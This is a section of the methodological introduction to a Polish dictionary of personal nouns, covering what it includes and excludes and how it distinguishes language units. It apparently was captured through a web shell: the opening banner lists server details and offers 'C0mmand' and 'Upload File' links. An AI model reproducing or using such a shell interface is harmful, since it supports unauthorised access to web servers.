|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ilpnowa/../slownik/web/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<div style="text-align: justify; line-height: 180%"><b><font size="3"><a
name="1.2">1.2. Co znajdą Państwo w
<i>Słowniku nazw osobowych</i> i czego w nim nie ma</a></font></b></div>
<div style="text-align: justify; line-height: 180%"> Lista
leksemów
opracowanych w słowniku jest zarazem zbiorem nazw osób funkcjonujących w najnowszej
polszczyźnie, tj. po 1945 roku, z uwzględnieniem w opisie ważkiej w rozwoju języka
polskiego cezury przełomu lat 80. i 90. XX wieku.</div>
<div style="text-align: justify; line-height: 180%"> Za
podstawę ekscerpcji materiału
oraz jego selekcji przyjęliśmy <i>Uniwersalny słownik języka polskiego</i> pod red.
Stanisława Dubisza. W ten sposób wyodrębniliśmy ponad 9 000 leksemów.</div>
<div style="text-align: justify; line-height: 180%"> W
postaci aneksu z odesłaniem do
reguł wyodrębniliśmy nazwy mieszkańców różnych poziomów, np.
krajów, krain, miast, a także członków narodów i grup etnicznych, np.
<i>Europejczyk, Polak, Małopolanin, krakowianin</i>. Oprócz tego w postaci reguł
prezentujemy derywaty żeńskie, np. <i>nauczycielka</i>, i męskie, np. <i>gwiazdor</i>.
Nazwy żeńskie niederywowane zostały opisane w słowniku w postaci odrębnych haseł. Decyzja
ta wynika z faktu, że definicje w SNO mają z założenia charakter realnoznaczeniowy, tzn.
nie odnoszą się do budowy słowotwórczej wyrazu<a title="" name="_ftnref1"
href="#_ftn1"><span><span><span>[1]</span></span></span></a>.</div>
<div style="text-align: justify; line-height: 180%"> Skupiliśmy się na tych leksemach,
dla których znaczenie osobowe jest prymarne. Dlatego np. zrezygnowaliśmy z
rzeczowników pospolitych pochodzących od imion własnych, takich jak <i>penelopa,
satyr</i>, a także z nazw nieosobowych, metonimicznie używanych w odniesieniu do
ludzi, por. <i>alt, byczek, klucha, gnida</i>.</div>
<div style="text-align: justify; line-height: 180%"> Jak
już wspominaliśmy, w naszym
słowniku nie znajdą się także imiona własne. Uważamy, że należy opisywać je odrębnie (np. w
słownikach onomastycznych). Nie opisujemy także nazw osobowych więcej niż
jednosegmentowych, jak np. <i>baba jaga</i>, <i>herod-baba</i>, mimo iż
niektóre z nich można uznać za odrębne jednostki języka. Za każdym razem jednak
procedura weryfikacyjna byłaby dość żmudna i trudno byłoby określić zasady, mówiące
o tym, w którym momencie zbiór takich nazw został w słowniku wyczerpująco
opisany.</div>
<div style="text-align: justify; line-height: 180%"> Nie
wejdą do słownika
również zrosty i złożenia w rodzaju<i> psiajucha</i>. To samo dotyczyć będzie nazw
zbiorów osób, np.<i> małżeństwo, wujostwo, młodzież. </i>O takich
ograniczeniach, nałożonych na materiał, zadecydował przede wszystkim czas
przewidziany na wykonanie słownika, mocno ograniczający możliwości zespołu.</div>
<div style="text-align: justify; line-height: 180%"> Inne
jeszcze względy
zadecydowały, że zrezygnowaliśmy z opisu wulgaryzmów. Po pierwsze istnieją słowniki
wulgaryzmów (por. chociażby Grochowski 1801), po drugie przeciwni jesteśmy
zrównaniu tego typu leksyki z pozostałą. Uważamy, że kwalifikatory problemu nie
rozwiążą.</div>
<div style="text-align: justify; line-height: 180%"> W
<i>Słowniku nazw osobowych
</i>nie znalazły się również takie jednostki języka, w wypadku których
ustaliliśmy, że nie są one elementem leksykonu współczesnej polszczyzny. Dotyczyło
to przede wszystkim niektórych archaizmów, nazw używanych w odniesieniu do
osób jedynie na prawach metafory i metonimii oraz okazjonalizmów. Nie ma więc
w SNO - jak już mówiliśmy - leksemów pochodzących od imion własnych,
które są metonimiami (jak choćby wspominana już <i>penelopa</i>) i które
często są odnotowywane w innych słownikach. Za odrębne jednostki języka, będące pospolitymi
nazwami osobowymi, uznawaliśmy tylko te z nich, w wypadku których zaszedł proces
leksykalizacji, np. <i>mecenas.</i></div>
<div style="text-align: justify; line-height: 180%"> Uznawaliśmy wyraz za archaiczny w
sytuacji, gdy nie odnotowano żadnych jego wystąpień w <i>Narodowym Korpusie Języka
Polskiego</i> (NKJP), a w pozostałych dostępnych nam źródłach był używany bardzo
rzadko (mniej niż 2 przykłady). Uznawaliśmy wówczas, że jest to słowo wyparte ze
świadomości użytkowników. Natomiast jeśli wyraz oprócz znaczenia
ogólnopolskiego miał również znaczenie archaiczne powiązane z określonym
kontekstem historycznym, wciąż żywym w świadomości użytkowników, to wówczas
informację o tym znaczeniu podawaliśmy w pragmatyce.</div>
<div style="text-align: justify; line-height: 180%"> Po tak
dokonanej selekcji lista
leksemów opisanych w słowniku w postaci odrębnych haseł wynosi więc ok. 5500.</div>
<div style="text-align: justify; line-height: 180%"> Nazwy
osób rozumiane są tu
jako nazwy charakteryzujące prymarnie ludzi (np. <i>lalkarz</i>, <i>autostopowiczka</i>,
<i>zrzęda</i>) lub ludzi i inne podmioty działające (obejmujące swoim zakresem między
innymi ludzi, np. <i>przedstawiciel</i>, <i>importer</i>, <i>myśliwy</i>, <i>agresor</i>).
Odróżniamy je od nazw innych (fantastycznych bądź nie) istot rozumnych (np.
<i>anioł</i>, <i>elf</i>), a także od innych istot żywych (np. <i>pies, małpa</i>). Od
pierwszych różni je to, że nazywają istoty żywe (= ktoś), a od innych istot
żywych (od zwierząt) odróżnia je fakt, że nazywają istoty żywe mówiące
(= osoba ludzka / człowiek) <a title="" name="_ftnref2" href="#_ftn2"><span><span><span>
[2]</span></span></span></a>.</div>
<div style="text-align: justify; line-height: 180%"> Do
nazw osób zaliczamy
zarówno rzeczowniki, jak i zsubstantywizowane nazwy przymiotnikowe, ale tylko
wówczas, jeśli mamy do czynienia z odrębną jednostką leksykalną<i>.</i> W celu
ustalenia, czy tak jest, zastosowaliśmy następujące procedury: po pierwsze, sprawdzaliśmy,
czy homonimiczny przymiotnik odnosi się wyłącznie do nazw nieosobowych. Jeżeli odpowiedź na
to pytanie jest pozytywna, mamy do czynienia z osobną jednostką języka o postaci
rzeczownika homonimicznego z przymiotnikiem, np. <i>zapisy <b>księgowe</b> – nasz
<b>księgowy</b></i><b>.</b> Jeśli homonimiczny przymiotnik<a title="" name="_ftnref3"
href="#_ftn3"><span><span><span>[3]</span></span></span></a> mógł zostać użyty także
w odniesieniu do nazw osobowych, wówczas sprawdzaliśmy:</div>
<div style="text-align: justify; line-height: 180%">1.<span> </span>czy
wyraz ten może zostać
samodzielnie użyty jako orzecznik w narzędniku i czy nie jest to wyłącznie konstrukcja
eliptyczna, np. <i>On jest niewidomym</i>. <i>On jest krewnym Pawła</i>, ale nie:
<i>On jest</i> <i>umysłowym</i> (por. poprawne: <i>On jest pracownikiem
umysłowym</i>.);</div>
<div style="text-align: justify; line-height: 180%">2.<span> </span>czy
przymiotnik i homonimiczny z
nim rzeczownik mają różne wymagania składniowe, np. <i>On jest przewodniczącym
naszej rady, </i>ale:<i> Rozmawiałam z człowiekiem przewodniczącym waszej radzie.
</i></div>
<div style="text-align: justify; line-height: 180%"> W
wypadku, kiedy uzyskane w ten
sposób rezultaty budziły nasze wątpliwości, pozostawało nam wykonanie analizy
kontekstowej w celu ustalenia, czy rzeczywiście istnieją dwa odrębne wyrazy o tym
kształcie.</div>
<div style="text-align: justify; line-height: 180%"> W
<i>Słowniku nazw osobowych
</i>posługujemy się pojęciem jedno-jednoznacznych jednostek języka, rozumianych
zgodnie z koncepcją Andrzeja Bogusławskiego (por. np. Bogusławski 1976, 1996). Na jej podstawie można
utworzyć adekwatne narzędzia, które pozwalają rozstrzygać kwestie ewentualnej
homonimii leksemów. Za A. Bogusławskim przez jednostkę języka rozumiemy ciąg
elementów diakrytycznych (z przerwami lub bez) wchodzący w skład innych
ciągów elementów diakrytycznych. Jednostki języka są dwustronnie rozłączne
wzajemnie, zgodnie z proporcją postaci:</div>
<div style="text-align: justify; line-height: 180%"><i> ac
: ad = bc :
bd.</i></div>
<div style="text-align: justify; line-height: 180%"> Pomiędzy poszczególnymi
elementami proporcji zachodzi symetria formalna i funkcjonalna, a na miejscu jednego z
członów relacji (a, b, c lub d) może wystąpić także zero. Jednocześnie znaczenie
jednego z łączących się elementów nie może obejmować znaczenia drugiego. Warunkiem
koniecznym jest także to, aby co najmniej jedna z klas substytucyjnych (a : b lub c : d)
była niezamknięta. Przez klasę niezamkniętą należy rozumieć taką klasę wyrażeń,
którą można opisać w sposób ogólny. Klasa, którą można
wyznaczyć, wyłącznie wyliczając jej elementy, jest klasą zamkniętą.</div>
<div style="text-align: justify; line-height: 180%"> Jeśli
w odpowiednich połączeniach
z danym ciągiem diakrytycznym otrzymujemy układ dwustronnie symetryczny (czwórkę,
szóstkę, ósemkę itd. proporcjonalną), a części takiego ciągu nie wchodzą w
analogiczny układ, wówczas mamy do czynienia z jednostką języka. Oto najprostszy
pozytywny przykład zastosowania testu:</div>
<div style="text-align: justify; line-height: 180%"> <i>biały kapelusz : biały
stół = czerwony kapelusz : czerwony stół.</i></div>
<div style="text-align: justify; line-height: 180%"> Z
powyższego schematu otrzymujemy
następujące jednostki języka: <i>biały, czerwony, kapelusz, stół</i>. A oto przykład
negatywny:</div>
<div style="text-align: justify; line-height: 180%"><i>wieczne pióro: ostre
pióro = wieczny
ból: ostry ból.</i></div>
<div style="text-align: justify; line-height: 180%"> Powyższa proporcja nie pozwala na
wydobycie jednostek języka, gdyż pierwszy z jej elementów nie spełnia warunku
symetrii funkcjonalnej i formalnej z pozostałymi elementami proporcji. Ciągu <i>wieczne
pióro </i>nie można rozłożyć na jednostki prostsze, opierając się na podobnej
zasadzie, jak w wypadku <i>ostrego pióra, wiecznego bólu </i>czy<i> ostrego
bólu. </i>Znaczenie ciągu nie jest sumą znaczenia jego elementów, a
połączenie <i>wieczne pióro </i>to nieciągła jednostka języka.</div>
<div style="text-align: justify; line-height: 180%"> Każde
hasło odpowiada więc tylko
jednej jednostce o jednym znaczeniu. Zakładamy, że problem, gdy wydaje się, iż za
jednym kształtem (ciągiem liter w piśmie lub głosek w wymowie) kryją się dwa (lub więcej)
znaczenia, można rozwiązać na dwa sposoby:</div>
<div style="text-align: justify; line-height: 180%">1)<span> </span>istnieje
jedna jednostka o jednym
znaczeniu, a jej polisemiczność jest pozorna i wynika z błędnego uznawania właściwości
związanych z użyciem za właściwości znaczeniowe – jednostce tej odpowiada więc jedno
hasło i jeden opis w SNO,</div>
<div style="text-align: justify; line-height: 180%">2)<span> </span>mamy do
czynienia z homonimią
– każdemu znaczeniu odpowiada odrębny kształt, często również można im
przypisać dwa różne zestawy własności składniowych, są to więc różne
jednostki języka. Każda z nich została opatrzona w naszym słowniku osobnym opisem.</div>
<div style="text-align: justify; line-height: 180%">Rozstrzygnięcie, kiedy mamy do
czynienia ze zjawiskiem
opisanym w punkcie 1., a kiedy z sytuacją z punktu 2., wymagało każdorazowo przeprowadzenia
analizy językowej, z zastosowaniem metod i narzędzi opisanych przez Andrzeja
Bogusławskiego.</div>
<div style="text-align: justify; line-height: 180%"> W ten
sposób
wyeliminowaliśmy zjawisko polisemii. Badane leksemy zostały zdefiniowane za pomocą metody
kontrastywno-logicznej, według koncepcji semantycznych Andrzeja Bogusławskiego, Jurija
Apresjana i Zofii Zaron.</div>
<div style="text-align: justify; line-height: 180%"> W
wypadku, gdy leksem został
zapożyczony z innego języka i występuje współcześnie w polszczyźnie w dwóch
lub więcej formach, wówczas za nienacechowane i podstawowe uznawaliśmy jego formy
spolszczone. Od nich odsyłaliśmy do form identycznych ze źródłowymi. Zatem np. w
haśle jednostki<i> kongresman</i> znajdzie się odesłanie do jednostki
<i>kongresmen</i>, uznanej za podstawową (zob. <i>kongresmen</i>). <i>De</i> <i>facto</i>
oznacza to, że, jeżeli w informacji semantycznej w rubryce o nazwie „definicja”
podana jest informacja o odesłaniu do innego hasła (zob. + wyraz), to wówczas
mamy do czynienia z wtórną postacią wyrazu (za formę podstawową została uznana
postać pojawiająca się po skrócie zob. – zobacz).</div>
<div style="text-align: justify; line-height: 180%"> Każdy
artykuł hasłowy w
<i>Słowniku nazw osobowych</i> składa się z 5 zasadniczych części<a title=""
name="_ftnref4" href="#_ftn4"><span><span><span>[4]</span></span></span></a>:</div>
<div style="text-align:
justify; line-height: 180%"><span>·<span> </span></span>semantycznej,</div>
<div style="text-align: justify; line-height: 180%"><span>·<span> </span></span>fleksyjnej,</div>
<div style="text-align:
justify; line-height: 180%"><span>·<span> </span></span>składniowej,</div>
<div style="text-align:
justify; line-height: 180%"><span>·<span> </span></span>pragmatycznej,</div>
<div style="text-align:
justify; line-height: 180%"><span>·<span> </span></span>etymologicznej.</div>
<div style="text-align: justify; line-height: 180%">Oprócz tego większość
haseł opatrzona jest co
najmniej pięcioma przykładami współczesnych użyć opisywanego leksemu. W opisie
uwzględniliśmy natomiast wszystkie odmiany i rejestry języka, z wyjątkiem tych,
które zmieniają się zbyt dynamicznie – trwające kilka lat badania mogłyby
okazać się przestarzałe już w momencie publikacji wyników.</div>
<div style="text-align: justify; line-height: 180%"> Każdy
leksem został opatrzony
informacją fleksyjną z wykorzystaniem najnowszego opracowania kategorii rodzaju
rzeczowników autorstwa Zofii Zaron, nawiązującej do osiągnięć klasycznych koncepcji
Witolda Mańczaka z 1956 roku i Mariana Kucały z 1976 roku. Istotnym elementem opisu
wyrazów jest także ich charakterystyka składniowa ze szczególnym
uwzględnieniem ich łączliwości. W odmienny niż dotychczas sposób została także
przedstawiona informacja pragmatyczna: podano nie tylko informację w postaci
kwalifikatorów o tym, czy wyraz jest ogólnopolski, czy regionalny, czy należy
do rejestru ogólnego, czy środowiskowego, czy jest neutralny, czy też nacechowany. W
rubryce tej znalazły się także informacje dotyczące utartych użyć metaforycznych i
metonimicznych oraz użyć historycznych. Część synchroniczna opisu (czyli poświęcona
temu, jak danego słowa używa się współcześnie) zawiera także liczne przykłady,
ilustrujące w praktyce wcześniej opisane własności. Każde hasło składa się także z części
diachronicznej (czyli poświęconej pochodzeniu i historii danego słowa w polszczyźnie).
Znajdują się w niej informacje o czasie powstania i etymologii (pochodzeniu), zmianach
znaczeniowych i zmianach rejestru, a także o ewentualnych kontrowersjach, dotyczących
historii niektórych leksemów (np. wielu nazw kobiet).</div></p>
<div><br clear="all" />
<hr align="left" width="33%" size="1" />
<div id="ftn1">
<div><a title="" name="_ftn1" href="#_ftnref1"><span><span><span>[1]</span></span></span></a> Więcej informacji na temat sposobu definiowania znaczenia znajduje się w rozdziale poświęconym informacji semantycznej w hasłach.</div>
</div>
<div id="ftn2">
<div><a title="" name="_ftn2" href="#_ftnref2"><span><span><span>[2]</span></span></span></a> Istota żywa to ktoś (człowiek lub zwierzę), kto coś robi i wie o tym, że to robi; a osoba/człowiek to ktoś, kto świadomie coś robi i na dodatek mówi.</div>
</div>
<div id="ftn3">
<div><a title="" name="_ftn3" href="#_ftnref3"><span><span><span>[3]</span></span></span></a> Zgodnie z podziałem wyrazów na części mowy na podstawie właściwości ich odmiany, przymiotniki to wyrazy odmienne przez przypadki, liczby i rodzaje – w przeciwieństwie do rzeczowników, które odmieniają się przez przypadki, lecz rodzaj mają przypisany.</div>
</div>
<div id="ftn4">
<div><a title="" name="_ftn4" href="#_ftnref4"><span><span><span>[4]</span></span></span></a> Bardziej szczegółowe dane dotyczące rodzajów informacji, które zostały uwzględnione w opisie haseł, podane zostaną w dalszych rozdziałach.</div>